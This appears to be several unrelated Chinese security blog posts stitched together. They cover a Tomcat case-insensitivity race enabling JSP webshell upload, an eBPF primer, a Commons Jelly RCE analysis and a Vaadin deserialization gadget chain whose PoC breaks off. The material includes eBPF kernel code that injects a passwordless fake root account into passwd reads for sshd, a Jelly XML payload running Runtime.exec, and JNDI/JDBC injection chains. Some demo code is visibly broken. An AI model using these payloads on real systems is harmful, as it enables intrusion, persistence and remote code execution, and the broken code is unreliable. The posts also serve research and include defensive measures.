Java_java_io_WinNTFileSystem_canonicalize0(JNIEnv *env, jobject this, jstring pathname) { jstring rv = NULL; WCHAR canonicalPath[MAX_PATH_LENGTH]; WITH_UNICODE_STRING(env, pathname, path) { /*we estimate the max length of memory needed as "currentDir. length + pathname.length" */ int len = (int)wcslen(path); len += currentDirLength(path, len); if (len > MAX_PATH_LENGTH - 1) { WCHAR *cp = (WCHAR*)malloc(len * sizeof(WCHAR)); if (cp != NULL) { if (wcanonicalize(path, cp, len) >= 0) { rv = (*env)->NewString(env, cp, (jsize)wcslen(cp)); } free(cp); } else { JNU_ThrowOutOfMemoryError(env, "native memory allocation failed"); } } else if (wcanonicalize(path, canonicalPath, MAX_PATH_LENGTH) >= 0) { rv = (*env)->NewString(env, canonicalPath, (jsize)wcslen(canonicalPath)); } } END_UNICODE_STRING(env, path); if (rv == NULL) { JNU_ThrowIOExceptionWithLastError(env, "Bad pathname"); } return rv; } /* Wide character version of canonicalize. Size is a wide-character size. */ int wcanonicalize(WCHAR *orig_path, WCHAR *result, int size) { WIN32_FIND_DATAW fd; HANDLE h; WCHAR *path; /* Working copy of path */ WCHAR *src, *dst, *dend, c; /* Reject paths that contain wildcards */ if (wwild(orig_path)) { errno = EINVAL; return -1; } if ((path = (WCHAR*)malloc(size * sizeof(WCHAR))) == NULL) return -1; /* Collapse instances of "foo\.." and ensure absoluteness. Note that contrary to the documentation, the _fullpath procedure does not require the drive to be available. */ if(!_wfullpath(path, orig_path, size)) { goto err; } if (wdots(path)) /* Check for prohibited combinations of dots */ goto err; src = path; /* Start scanning here */ dst = result; /* Place results here */ dend = dst + size; /* Don't go to or past here */ /* Copy prefix, assuming path is absolute */ c = src[0]; if (((c <= L'z' && c >= L'a') || (c <= L'Z' && c >= L'A')) && (src[1] == L':') && (src[2] == L'\\')) { /* Drive specifier */ *src = towupper(*src); /* Canonicalize drive letter */ if (!(dst = wcp(dst, dend, L'\0', src, src + 2))) { goto err; } src += 2; } else if ((src[0] == L'\\') && (src[1] == L'\\')) { /* UNC pathname */ WCHAR *p; p = wnextsep(src + 2); /* Skip past host name */ if (!*p) { /* A UNC pathname must begin with "\\\\host\\share", so reject this path as invalid if there is no share name */ errno = EINVAL; goto err; } p = wnextsep(p + 1); /* Skip past share name */ if (!(dst = wcp(dst, dend, L'\0', src, p))) goto err; src = p; } else { /* Invalid path */ errno = EINVAL; goto err; } /* At this point we have copied either a drive specifier ("z:") or a UNC prefix ("\\\\host\\share") to the result buffer, and src points to the first byte of the remainder of the path. We now scan through the rest of the path, looking up each prefix in order to find the true name of the last element of each prefix, thereby computing the full true name of the original path. */ while (*src) { WCHAR *p = wnextsep(src + 1); /* Find next separator */ WCHAR c = *p; WCHAR *pathbuf; int pathlen; assert(*src == L'\\'); /* Invariant */ *p = L'\0'; /* Temporarily clear separator */ if ((pathlen = (int)wcslen(path)) > MAX_PATH - 1) { pathbuf = getPrefixed(path, pathlen); h = FindFirstFileW(pathbuf, &fd); /* Look up prefix */ free(pathbuf); } else h = FindFirstFileW(path, &fd); /* Look up prefix */ *p = c; /* Restore separator */ if (h != INVALID_HANDLE_VALUE) { /* Lookup succeeded; append true name to result and continue */ FindClose(h); if (!(dst = wcp(dst, dend, L'\\', fd.cFileName, fd.cFileName + wcslen(fd.cFileName)))){ goto err; } src = p; continue; } else { if (!lastErrorReportable()) { if (!(dst = wcp(dst, dend, L'\0', src, src + wcslen(src)))){ goto err; } break; } else { goto err; } } } if (dst >= dend) { errno = ENAMETOOLONG; goto err; } *dst = L'\0'; free(path); return 0; err: free(path); return -1; } 通过wwild()函数检查路径是否包含通配符，包含返回无效参数，通过_wfullpath()处理为.或..，转化为绝对路径，规范驱动器符号，逐步解析文件系统，并对路径过长和文件不存在进行错误处理等等处理。主要通过wnextsep逐步解析查找下个路径分隔符号\，并通过FindFirstFileW的Windows API查询文件信息，通过wcp函数将查找到的加到dst目的路径当中，FindFirstFileW在查询文件的时候是忽略大小写的，但是返回的最终结果是系统中真实的文件名，存在哒小写。 继续往下走，会发现absPath获取到的是test.jsp，经过!canPath.equalsIgnoreCase(absPath)检查，由于大小写的差异，最终会返回一个EmptyResource空对象。 当文件夹中不存在test.Jsp文件时，此时同样访问test.jsp时，此时canPath获取到的test.jsp，而absPath获取到的也是test.jsp。 此时f文件会被展示为存在的，因此通过f.exists()检查文件是否存在，如果此时test.Jsp写入到文件夹当中，由于不区分大小写的原因，最终文件判断是通过，因此会返回文件。 @Override public WebResource getResource(String path) { checkPath(path); String webAppMount = getWebAppMount(); WebResourceRoot root = getRoot(); if (path.startsWith(webAppMount)) { File f = file(path.substring(webAppMount.length()), false); if (f == null) { return new EmptyResource(root, path); } if (!f.exists()) { return new EmptyResource(root, path, f); } if (f.isDirectory() && path.charAt(path.length() - 1) != '/') { path = path + '/'; } return new FileResource(root, path, f, isReadOnly(), getManifest()); } else { return new EmptyResource(root, path); } } 通过上面的代码，那么当readonly=False的时候，可以并发执行PUT和GET方法，由于文件没有增加锁的机制，可能会导致f.exists通过资源检查。 在CVE-2017-12615的时候，开放PUT上传的条件下，当我们执行PUT的时候，是由DefaultServlet来进行实现，因此即使是上传了JSP Webshell，由于没有doPut的方法，实际就不会成功，那时候是通过文件名的解析后缀如添加%20等后缀绕过了Tomcat的检测，让DefaultServlet处理逻辑的请求，上传了jsp webshell文件。 反观此处的条件竞争，希望在AbstractFileResourceSet时获取到实际的文件名是jsp后缀，但我们只能上传Jsp后缀触发DefaultServlet处理，因此需要GET xxx.jsp和 PUT xxx.Jsp 并发进行，当某次GET请求时，PUT请求1文件刚好落地，正好读取xxx.Jsp，并会将它jspServlet文件解析。 后续修复当中，也是增加了锁的机制，在write操作没有完成的时候，read操作会被阻塞掉。 总结 CVE-2025-24813：Partial PUT原始实现处理不完整PUT请求时替换文件路径分隔符，由于开启了session的持久化缓存机制，因此导致默认情况下PUT上传到的文件目录在同一个临时文件夹中，可通过session完成反序列化。 CVE-2024-50379：MacOS 和 Windows 平台因File.exists()检查及大小写忽略问题，可通过条件竞争加载xxx.Jsp文件写入DefaultServlet，此时如果恰好GET xxx.jsp碰到文件的落地，最终xxx.Jsp交给了JspServlet处理器处理。 CVE-2017-12615：构造特殊后缀名绕过检测，让DefaultServlet处理请求来上传JSP文件，导致最终Webshell上传。 参考文章：https://mp.weixin.qq.com/s/ewvMUC7CFNMmwexVLVOAzA
eBPF初识 什么是eBPF？ 1、eBPF(extended Berkeley Packet Filter)是一种Linux内核中的虚拟机技术，于2014年提出，一小群工程师从dtrace中吸收了优点，扩展了BPF提供更多的指令和结构，核心就是运行在Linux内核的虚拟机，具有JIT即时编译的功能，可将用户编写的eBPF代码编译成本地代码，重点是不需要修改内核代码的情况下运行功能，动态注入到内核中，从而能够保持系统稳定的同时又能自定义多种场景，常用于Linux内核调优，一些网络监控，性能监控等。 2、eBPF的应用场景： 网络监控：可用于捕获网络数据包，并执行特定的代码逻辑来对流量进行分析和警报。 安全过滤：可用于对网络数据包进行安全过滤，对恶意命令进行拦截，可以阻止恶意流量的传播。 性能分析：可用于收集内核的性能指标，并通过特定的接口将其可视化，对性能瓶颈进行优化。 虚拟化：这也是eBPF技术在云原生领域被广泛应用的原因，如Kubernetes的网络插件，容器之间的安全隔离，负载均衡等等。 工作原理 BPF Program: 用户空间中的BPF程序通过编译器（如LLVM/Clang）被编译成BPF字节码（xxx.bpf）。 BPF Bytecode:编译后的BPF字节码通过bpf()系统调用加载到内核空间。 Verifier + JIT: 内核中的eBPF框架会对BPF字节码进行验证（Verifier），确保其安全性，并通过JIT编译成原生代码（Native Code），以便在内核中高效执行。 Kernel Functions: 生成的原生代码可以调用内核函数来执行特定任务，如网络包处理、系统调用跟踪等。 BPF Maps: BPF程序可以使用BPF映射（Maps）来存储数据，这些映射可以在多个BPF程序之间共享数据。 Reader: 用户空间中的读取器可以通过bpf()系统调用来访问BPF映射中的数据，这种映射通常是键值形式存储，值通常是任意的二进制数据块。 用户态程序通过文件描述符FD通过地图寻址访问BPF对象，每个对象都有一个引用计数器。用户态打开、读取相应FD，对应计数器会增加。若FD关闭，引用计数器减少，当refcnt为0时，内核会释放BPF对象，即使用户态程序退出，只要refcnt不为0，该对象也不会随着用户态退出而退出。 常用工具 使用原生的eBPF汇编来编写跟踪系统的调用情况难度是比较大的，因此可以使用现成的工具框架简化我们的工作。 BBC：提供了更高级的语言，允许用户采用Python、Lua等高级语言快速开发BPF程序，并且提供了更人性化函数给用户使用。 bpftrace：高级追踪语言，适合用于快速排查和定位系统问题，支持用单行脚本的方式快速开发并执行eBPF程序。 tcptop：实时监控和分析 TCP 流量的工具。 cilium/eclat：提供网络连接、安全可见性和网络安全策略实施等功能，eclat帮助管理和操作eBPF程序。 BCC工具 1、安装BCC工具 sudo apt-get install bpfcc-tools linux-headers-$(uname -r) 2、结合Python BCC提供的丰富API，使得方便利用eBPF技术进行内核态和用户态之间的交互，常用方法如下： BPF(text=)：通过传入C语言编写的eBPF程序文本，创建一个BPF对象并加载该程序到内核 attach_kprobe(event, fn_name)：将一个BPF函数附加到指定的内核函数入口(kprobe)上，用于跟踪或修改内核行为 attach_kretprobe(event, fn_name)：类似于`attach_kprobe`，但它是将BPF函数附加到内核函数的返回点(retprobe)上 attach_tracepoint(tp, fn_name)：将BPF函数附加到特定的tracepoint事件上，tracepoints是内核中预定义的静态跟踪点 attach_uprobe(name, sym, fn_name):在共享库或二进制文件中的指定符号(sym)处设置用户级探针(uprobe)，以便跟踪用户空间应用程序的行为 attach_uretprobe(name, sym, fn_name):类似于`attach_uprobe`，但是是在指定函数返回时触发 trace_fields():从BPF程序中读取一条追踪记录，并以元组形式返回（任务名、PID、CPU编号、标志、时间戳、消息内容等） get_table(name)：获取一个BPF表（如哈希表、数组等），允许与BPF程序交换数据 perf_buffer_poll()：使用perf缓冲区机制来收集来自BPF程序的数据，适用于需要高性能数据采集的场景。 3、用Python输出简单的进程信息示例： from bcc import BPF prog = """ #include <linux/sched.h> int hello_world(struct pt_regs *ctx) { char comm[16]; bpf_get_current_comm(&comm, sizeof(comm)); //获取正在运行的进程名字 u64 pid_tgid = bpf_get_current_pid_tgid(); //获取当前进行ID和线程组ID bpf_trace_printk("Executing program: %s (PID %u)\\n", comm, pid_tgid >> 32); //打印调试信息 return 0; } """ b = BPF(text=prog) b.attach_kprobe(event=b.get_syscall_fnname("execve"), fn_name="hello_world") print("%-18s %-16s %-6s %s" % ("TIME(s)", "COMM", "PID", "MESSAGE")) while 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() #读取一条追踪记录 print("%-18.9f %-16s %-6d %s" % (ts, task, pid, msg)) except KeyboardInterrupt: exit() eBPF恶意攻击 在云原生领域下，特别是k8s等容器快速发展，eBPF的出现提供了很多的便利，能够在不改动内核的同时，将自定义代码注入到内核当中。所谓万事是一把双刃剑。这同时，肯定也会出现eBPF的恶意利用，eBPF能覆盖socket、网卡xdp、probe等功能，从而能实现内核态的篡改，比较隐蔽。 关于eBPF当中的Hook点： eBPF可在多个关键点进行hook操作： 系统调用层面：在内核态与用户态的交互之间，拦截和修改系统调用的行为 文件系统层面：在内核态监控文件操作，修改文件的读写 网络层面：在内核态中功能模块交互之间，监听修改网络的交互操作 比如说，通过hook ssh进程，拿到sys_call的id，随后劫持read操作，从而返回自己的内容，达到隐藏用户的效果。 #include <uapi/linux/ptrace.h> #include <linux/sched.h> #include <linux/bpf_common.h> #define PROCESS_NAME_LENGTH 16 struct event_data { char proc_name[PROCESS_NAME_LENGTH]; char content[256]; }; static inline bool match_target(char *target_str, const char *source_str, int str_len) { char tmp[str_len]; bpf_probe_read_kernel(&tmp, sizeof(tmp), source_str); return !memcmp(target_str, tmp, str_len); } static int on_syscall_exit(struct pt_regs *ctx) { char buffer_content[64] = {}; bpf_probe_read_user_str(buffer_content, sizeof(buffer_content), (void *)PT_REGS_PARM1(ctx)); char check_string[] = "root:x:0:0:root:/root:/bin/bash\\n"; if (match_target(check_string, buffer_content, sizeof(check_string))) { char new_entry[] = "root:x:0:0:root:/root:/bin/bash\\nfake::0:0::/root:/bin/sh\\n"; bpf_probe_write_user((void *)PT_REGS_PARM1(ctx), new_entry, sizeof(new_entry)-1);//通过bpf_probe_write_user发送修改内容 } return 0; } int handle_process_exit(struct pt_regs *ctx) { struct event_data event = {}; bpf_get_current_comm(&event.proc_name, sizeof(event.proc_name)); if (!match_target(event.proc_name,"sshd",4)) return 0; int syscall_number = PT_REGS_RC(ctx); if (syscall_number == 0) return 1; return 0; } 阻止系统某些SysCall的调用，比如阻止写入 #include <linux/bpf.h> #include <bpf/bpf_helpers.h> #include <bpf/bpf_tracing.h> SEC("kprobe/__x64_sys_write") int BPF_KPROBE(kprobe_write, struct pt_regs *ctx) { // 获取原始的 write 系统调用参数 unsigned long fd = PT_REGS_PARM1(ctx); char __user *buf = (char __user *)PT_REGS_PARM2(ctx); size_t count = PT_REGS_PARM3(ctx); bpf_printk("Intercepted write call: fd=%lu, buf=%p, count=%zu\n", fd, buf, count); PT_REGS_RC(ctx) = count; return 1; } char LICENSE[] SEC("license") = "GPL"; 隐藏进程、劫持程序的执行等操作也是eBPF轻而易举达到的： 1、当使用 ps 命令查看系统上的进程列表时，可以通过修改 /proc/pid/ 目录下的信息来隐藏特定的进程。这意味着你可以改变这些目录中的内容，使得 ps 或者其他依赖于 /proc/ 文件系统的工具无法看到你想要隐藏的进程。 2、在程序调用 execve 时更改可执行文件名，从而劫持执行：当一个程序尝试通过 execve 调用来启动一个新的可执行文件时，你可以拦截这个调用并修改传递给 execve 的参数，如文件名或路径。这样，你可以让程序运行一个完全不同的可执行文件，而不是它原本意图运行的那个文件。这种技术可以用于重定向执行流，使攻击者能够控制目标程序的行为 防御 1、禁止非特权用户调用bpf，在/proc/sys/kernel/unprivileged_bpf_disabled里，可通过执行sysctl kernel.unprivileged_bpf_disabled=1来修改配置。 值为0表示允许非特权用户调用bpf 值为1表示禁止非特权用户调用bpf且该值不可再修改，只能重启后修改 值为2表示禁止非特权用户调用bpf，可以再次修改为0或1 2、启用并配置 BPF Verifier 严格的验证规则：Linux 内核中的 BPF verifier 自动检查所有加载的 eBPF 程序，确保它们不会导致内核崩溃或执行非法操作。虽然它不能阻止所有类型的恶意行为，但它确实能阻止大多数明显的滥用尝试。 增强的 BPF verifier 配置：考虑使用更严格的内核编译选项来增强 BPF verifier 的安全性。 3、监控，linux系统所有的调用都离不开syscall，eBPF也不例外，kprobes 和 uprobes 可在内核态或用户态函数入口处设置断点，从而允许你捕获并处理系统调用。你可以使用它们来拦截 SYS_BPF 系统调用，并记录或分析相关的参数和行为，简单的demo #include <linux/bpf.h> #include <bpf/bpf_helpers.h> #include <bpf/bpf_tracing.h> SEC("kprobe/__x64_sys_bpf") int BPF_KPROBE(kprobe_sys_bpf, struct pt_regs *ctx) { unsigned int cmd = (unsigned int)PT_REGS_PARM1(ctx); bpf_printk("Intercepted SYS_BPF call with cmd=%u\n", cmd); return 0; } char LICENSE[] SEC("license") = "GPL"; 4、配置 seccomp 规则： 你可以为特定的应用程序配置 seccomp 规则，仅允许其执行必要的系统调用，并对SYS_BPF 调用进行特别处理。 5、Auditd，配置Audit规则，监控SYS_BPF的调用 sudo auditctl -a always,exit -F arch=b64 -S bpf -k monitor_bpf 6、自定义LSM模块，在 bpf 系统调用的钩子处插入你的逻辑，例如检查调用者权限、记录调用详情等，简单的demo #include <linux/lsm_hooks.h> #include <linux/security.h> #include <linux/syscalls.h> #include <linux/uaccess.h> static int bpf_security_hook(int cmd, union bpf_attr *attr, unsigned int size) { struct task_struct *task = current; char comm[TASK_COMM_LEN]; get_task_comm(comm, task); printk(KERN_INFO "LSM: BPF syscall called by %s with cmd=%d\n", comm, cmd); return 0; if (cmd == BPF_PROG_LOAD) { return -EPERM; // 拒绝加载 BPF 程序 } } static struct security_hook_list my_lsm_hooks[] __lsm_ro_after_init = { LSM_HOOK_INIT(bpf, bpf_security_hook), }; static int __init my_lsm_init(void) { printk(KERN_INFO "LSM: LSM模块加载"); security_add_hooks(my_lsm_hooks, ARRAY_SIZE(my_lsm_hooks), "my_lsm"); return 0; } static void __exit my_lsm_exit(void) { printk(KERN_INFO "LSM: LSM模块去除"); } module_init(my_lsm_init); //module_exit(my_lsm_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("fake); MODULE_DESCRIPTION("demo"); 总结 eBPF内核技术为Linux扩展提供了强大的功能，但是它也使攻击面被扩大，同样，eBPF能够用于攻击，也能够用于检测，比如通过编写eBPF做Linux的EDR，监控一下恶意程序、恶意命令的执行等等，初步认识，先有个简单的概念。 参考文章 https://zone.huoxian.cn/d/972-linuxebpf https://github.com/iovisor/bcc/blob/master/docs/reference_guide.md
Commons-jelly Jelly Apache Commons Jelly是一个基于 Java 的轻量级脚本引擎和模板引擎，主要用于解析和执行 XML 格式的脚本。它是 Apache Commons 项目的一部分，旨在提供一种简单的方式来在 Java 应用程序中嵌入脚本逻辑，类似于其它模板模板引擎如Apache Velocity 或Freemarker，但是从Jelly官方文档定义的标签中不难看出，它将JSTL、Velocity, Ant等表达式语言借鉴到了一起。正如其它的模板引擎一样，因为支持动态解析的特性，因此在使用时需要严格限制输入的动态数据。 常见语法 <j:out>：将文本或表达式输出到标准输出或指定的输出流。 <j:if>：条件判断标签，如果条件为 true，则执行子标签。 <j:elseif> 和 <j:else>：在 <j:if> 中用于扩展条件判断。 <j:for>：循环标签，用于遍历数组或集合。 <j:while>：循环标签，用于在给定条件为 true 时反复执行。 <j:break>：用于跳出循环。 <j:continue>：用于跳过当前循环的剩余部分，进入下次循环。 <j:set>：设置变量的值。 <j:get>：获取变量的值。 <j:include>：将其他 Jelly 脚本包含到当前脚本中。 <j:include>：与<j:when>等多条件选择结构 ${expression}：在标签中使用表达式来动态计算值。 <j:eval>：评估和执行给定的表达式或代码块。 <j:script>：在 Jelly 脚本中嵌入脚本代码。 <j:printf>：格式化输出，类似于 Java 的 System.out.printf()。 <j:dynamicTag>：动态标签，可以在运行时动态定义和创建标签。 <j:invoke>：调用方法或执行操作的标签。 <j:invokeStatic>：调用静态方法的标签。 <j:useBean>：创建和使用 Java Bean 的标签。 <j:try> 和 <j:catch>：用于异常处理的标签块。 <j:finally>：用于定义在 try 或 catch 块结束时执行的代码。 <j:case>：在 switch 结构中使用的标签。 <j:switch>：实现 switch 语句的标签。 <ant:task>：与 Apache Ant 集成的标签，用于执行 Ant 任务。 <ant:property>：设置或获取 Ant 属性。 <j:tagLibrary>：定义一个标签库，注册和使用自定义标签。 <j:foreach>：用于迭代集合或数组。 <j:while>：执行循环，直到条件不成立。 <j:parse>：解析 XML 数据。 <j:transform>：应用 XSLT 转换。 <j:toXML>：将对象转换为 XML 格式。 部分用例如： <j:set var="myVar" value="Hello World" /> <j:invoke on="${object}" method="methodName"> <j:arg value="argumentValue" /> </j:invoke> <j:new var="myObject" class="com.example.MyClass" /> <j:useBean id="beanId" class="com.example.BeanClass" /> <j:invokeStatic className="com.example.ClassName" method="staticMethodName"> <j:arg value="argumentValue" /> </j:invokeStatic> <j:choose> <j:when test="${condition1}"> </j:when> <j:when test="${condition2}"> </j:when> <j:otherwise> </j:otherwise> </j:choose> 代码分析 从以上的标签不难看出，jelly能使用的标签语法非常丰富，其中不乏有能调用方法、动态new对象、invoke直接调用某些方法等等危险度较高的标签，如以下： <j:jelly xmlns:j="jelly:core" xmlns:util="jelly:util"> <j:invokeStatic className="java.lang.Runtime" method="getRuntime" var="runtime" /> <j:invoke on="${runtime}" method="exec"> <j:arg value="calc" /> </j:invoke> </j:jelly> XML文件通过invokeStatic调用了java.lang.Runtime.getRuntime()方法，并把它赋予了runtime变量，最后通过invoke方法调用了runtime变量中的exec方法，并通过arg标签传入参数为calc。注：调用的类、方法需为public修饰。 远程调用示例代码： package com.example.demo.demos.web; import org.apache.commons.jelly.JellyContext; import org.apache.commons.jelly.JellyException; import org.apache.commons.jelly.Script; import org.apache.commons.jelly.XMLOutput; import java.io.UnsupportedEncodingException; public class jelly { public static void main(String[] args) throws JellyException, UnsupportedEncodingException { JellyContext context = new JellyContext(); Script script = context.compileScript("http://127.0.0.1:8888/2.xml"); script.run(context, XMLOutput.createXMLOutput(System.out)); } } 以下大致看下整个代码的调用流程和处理标签的时候，是怎么完成RCE的触发： 首先compileScript方法通过URL类获取流数据，最终将输入流转入parse方法中，通过getXMLReader().parse方法进行XML解析，会将元素名称、脚本块内容、命名空间上下文、行号列号等信息解析为Script类 public Script compileScript(String uri) throws JellyException { XMLParser parser = this.getXMLParser(); parser.setContext(this); InputStream in = this.getResourceAsStream(uri); if (in == null) { throw new JellyException("Could not find Jelly script: " + uri); } else { Script script = null; try { script = parser.parse(in); } catch (IOException var6) { throw new JellyException("Could not parse Jelly script", var6); } catch (SAXException var7) { throw new JellyException("Could not parse Jelly script", var7); } return script.compile(); } } public Script parse(InputStream input) throws IOException, SAXException { this.ensureConfigured(); this.fileName = this.getCurrentURI(); this.getXMLReader().parse(new InputSource(input)); return this.script; } Script类中包含了XML文本数据的关键信息，调用run方法进一步解析，主要关注点集中在expression.evaluateRecurse与tag.doTag(output)中。 public void run(JellyContext context, XMLOutput output) throws JellyTagException { URL rootURL = context.getRootURL(); URL currentURL = context.getCurrentURL(); try { Tag tag = this.getTag(context); if (tag != null) { tag.setContext(context); this.setContextURLs(context); Iterator iter; Map.Entry entry; String name; Expression expression; Class type; if (tag instanceof DynaTag) { DynaTag dynaTag = (DynaTag)tag; Object value; for(iter = this.attributes.entrySet().iterator(); iter.hasNext(); dynaTag.setAttribute(name, value)) { entry = (Map.Entry)iter.next(); name = (String)entry.getKey(); expression = (Expression)entry.getValue(); Class type = dynaTag.getAttributeType(name); type = null; if (type != null && type.isAssignableFrom(class$org$apache$commons$jelly$expression$Expression == null ? (class$org$apache$commons$jelly$expression$Expression = class$("org.apache.commons.jelly.expression.Expression")) : class$org$apache$commons$jelly$expression$Expression) && !type.isAssignableFrom(class$java$lang$Object == null ? (class$java$lang$Object = class$("java.lang.Object")) : class$java$lang$Object)) { value = expression; } else { value = expression.evaluateRecurse(context); } } } else { DynaBean dynaBean = new ConvertingWrapDynaBean(tag); Object value; for(iter = this.attributes.entrySet().iterator(); iter.hasNext(); dynaBean.set(name, value)) { entry = (Map.Entry)iter.next(); name = (String)entry.getKey(); expression = (Expression)entry.getValue(); DynaProperty property = dynaBean.getDynaClass().getDynaProperty(name); if (property == null) { throw new JellyException("This tag does not understand the '" + name + "' attribute"); } type = property.getType(); value = null; if (type.isAssignableFrom(class$org$apache$commons$jelly$expression$Expression == null ? (class$org$apache$commons$jelly$expression$Expression = class$("org.apache.commons.jelly.expression.Expression")) : class$org$apache$commons$jelly$expression$Expression) && !type.isAssignableFrom(class$java$lang$Object == null ? (class$java$lang$Object = class$("java.lang.Object")) : class$java$lang$Object)) { value = expression; } else { value = expression.evaluateRecurse(context); } } } tag.doTag(output); if (output != null) { output.flush(); } return; } } finally { context.setRootURL(rootURL); context.setCurrentURL(currentURL); } } 上下文处理： 保存了当前上下文中的 rootURL 和 currentURL，以便在方法执行完后恢复这些值。 上下文 (JellyContext) 是 Jelly 执行时的核心，它维护标签解析时的变量和执行状态。 获取并初始化标签 (Tag)： 通过 this.getTag(context) 方法获取当前的标签对象。 如果标签存在，设置其上下文并初始化它需要的属性。 动态标签处理 (DynaTag)： 检查标签是否是动态标签DynaTag ，如果是，则需要额外的Type处理 普通标签处理 (DynaBean)： 如果不是动态标签，则将标签包装为一个 DynaBean 对象，获取动态标签的属性DynaProperty 如果属性有效，则调用expression.evaluateRecurse进行解析，并将解析的结果通过setAttribute赋值到dynaBean当中。 标签执行 (doTag)： 调用标签的 doTag 方法，通过doTag执行各自标签的对应逻辑，事实上就是进入不同的Tag类当中，执行不同的doTag方法。 如果输出流 (XMLOutput) 不为空，执行完毕后刷新输出。 在解析完XML内容侯，会分标签节点进行遍历解析，首先遍历的标签是invokeStatic，会逐步对method、className、var三个属性进行处理，在获取到变量的类型为Java.lang.String后，会进入expression.evaluateRecurse(context)中。 evaluateRecurse会调用evaluate方法，首先method方法会直接返回runtime，随后通过set方法放入到this.instance当中，因为三个类型最终都是Java.lang.String，所以流程都是一样的，取出key-value放入，因为key都是规定的，因此最终形成的invokeStatic如图。 public Object evaluateRecurse(JellyContext context) { Object value = this.evaluate(context); if (value instanceof Expression) { Expression expression = (Expression)value; return expression.evaluateRecurse(context); } else { return value; } } public class ConvertingWrapDynaBean extends WrapDynaBean { public ConvertingWrapDynaBean(Object instance) { super(instance); } public void set(String name, Object value) { try { BeanUtils.setProperty(this.instance, name, value); } catch (Throwable var4) { throw new IllegalArgumentException("Property '" + name + "' has no write method")…
前言 博客许久没有更新了。究其原因，是因为工作了接近两年的时间里，我在业余时间里接触安全知识的欲望正在不断的降低，今天在临国庆前一天工作上的事情并不多，所以就写下了这篇博客，希望能慢慢找到那种写博客的渴望。 J2EEConnectionPool 原Vaadin链可以参考我之前的文章：https://www.aiwin.net.cn/index.php/archives/4398/，主要是通过控制`NestedMethodProperty#getValue`中的`Method.invoke`中的参数达到命令执行的效果。 整个链子的入口也是Java Gadgets常见的toString方法，即PropertysetItem#toString，从而把整个链子都能引向HashMap、HashTable、BadAttributeValueExpException等readObject开端。 但其实这里通过getItemProperty方法其实就是从map中根据propertyId来获取值，而map可以通过addItemProperty方法控制值，也就是说可以找到其它类的getValue方法，从而形式新的触发链。 在AbstractSelect#getValue方法中，首先从AbstractField#getValue方法中获取值，其实就是触发下方的getFieldValue返回value的值，而value是其中一个可控的参数。所以retValue是可控的，而this.items也是可反射控制的参数，从而能够控制SQLContainer#ContainsId方法，需要注意的是无论是AbstractField还是AbstractSelect都是abstract修饰的方法。 public abstract class AbstractField<T> extends AbstractComponent implements Field<T>, ReadOnlyStatusChangeListener, ReadOnlyStatusChangeNotifier, ShortcutNotifier { private T value; private T getFieldValue() { return this.dataSource != null && !this.isBuffered() && !this.isModified() ? this.convertFromModel(this.getDataSourceValue()) : this.getInternalValue(); } protected T getInternalValue() { return this.value; } 在SQLContainer#ContainsId中，当cachedItems和removedItems不包含retValue的值，且retValue属于RowId类但是又不是TemporaryRowId的类时，就能够来到this.queryDelegate.containsRowWithKey方法中，注意这里addedItems也需要赋值，否则会触发报错。 public class SQLContainer implements Container, Filterable, Indexed, Sortable, ItemSetChangeNotifier { private QueryDelegate queryDelegate; public boolean containsId(Object itemId) { if (itemId == null) { return false; } else if (this.cachedItems.containsKey(itemId)) { return true; } else { Iterator var2 = this.addedItems.iterator(); while(var2.hasNext()) { RowItem item = (RowItem)var2.next(); if (item.getId().equals(itemId)) { return this.itemPassesFilters(item); } } if (this.removedItems.containsKey(itemId)) { return false; } else if (itemId instanceof ReadOnlyRowId) { int rowNum = ((ReadOnlyRowId)itemId).getRowNum(); return rowNum >= 0 && rowNum < this.size; } else { if (itemId instanceof RowId && !(itemId instanceof TemporaryRowId)) { try { return this.queryDelegate.containsRowWithKey(((RowId)itemId).getId());//触发点 } catch (Exception var4) { getLogger().log(Level.WARNING, "containsId query failed", var4); } } return false; } } } 在TableQuery类中，存在containsRowWithKey方法，当primaryKeyColumns与sqlGenerator都不为空，能顺利走到下面，activeConnection为空，就会进去beginTransaction方法当中。 public boolean containsRowWithKey(Object... keys) throws SQLException { ArrayList<Filter> filtersAndKeys = new ArrayList(); if (this.filters != null) { filtersAndKeys.addAll(this.filters); } int ix = 0; for(Iterator var4 = this.primaryKeyColumns.iterator(); var4.hasNext(); ++ix) { String colName = (String)var4.next(); filtersAndKeys.add(new Equal(colName, keys[ix])); } StatementHelper sh = this.sqlGenerator.generateSelectQuery(this.getFullTableName(), filtersAndKeys, this.orderBys, 0, 0, "*"); boolean shouldCloseTransaction = false; if (!this.isInTransaction()) { shouldCloseTransaction = true; this.beginTransaction(); } ResultSet rs = null; boolean var8; try { rs = this.executeQuery(sh); boolean contains = rs.next(); var8 = contains; } finally { try { if (rs != null) { this.releaseConnection((Connection)null, rs.getStatement(), rs); } } finally { if (shouldCloseTransaction) { this.commit(); } } } return var8; } TableQuery#beginTransaction会触发父类AbstractTransactionalQuery#beginTransaction，在这个方法当中，会通过连接池当中reserveConnection方法进行连接。 J2EEConnectionPool#reserveConnection能通过触发getDataSource从而来到ic.lookup达到jndi注入的效果，dataSourceJndiName是可直接赋值进行控制的。 因此整一条的Gadgets如下： PropertysetItem#toString-> AbstractSelect#getValue-> SQLContainer#ContainsId-> TableQuery#containsRowWithKey-> J2EEConnectionPool#reserveConnection->jndi注入 SimpleJDBCConnectionPool 同样在SimpleJDBCConnectionPool#reserveConnection方法中，当没有初始化的时候，会通过initializeConnections进行初始化，从而最终触发DriverManager.getConnection方法达到jdbc反序列化的效果。 那么为什么Vaddin中要出现跟JDBC进行连接的类呢？这与整个Vaddin的依赖有关，能够将所有的代码全部采用Java代码语言实现，不需要编写任何JavaScript代码，拥有种类丰富的UI接面组件库，先进的事件监听和数据绑定功能，所以它是需要与数据库进行交互，获取数据从而动态刷新UI界面的。 整个Gadgets的poc如下： package com.example.Vaadin; import com.vaadin.data.util.PropertysetItem; import com.vaadin.data.util.sqlcontainer.RowId; import com.vaadin.data.util.sqlcontainer.SQLContainer; import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool; import com.vaadin.data.util.sqlcontainer.connection.SimpleJDBCConnectionPool; import com.vaadin.data.util.sqlcontainer.query.TableQuery; import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator; import com.vaadin.ui.NativeSelect; import sun.reflect.ReflectionFactory; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.sql.SQLException; import 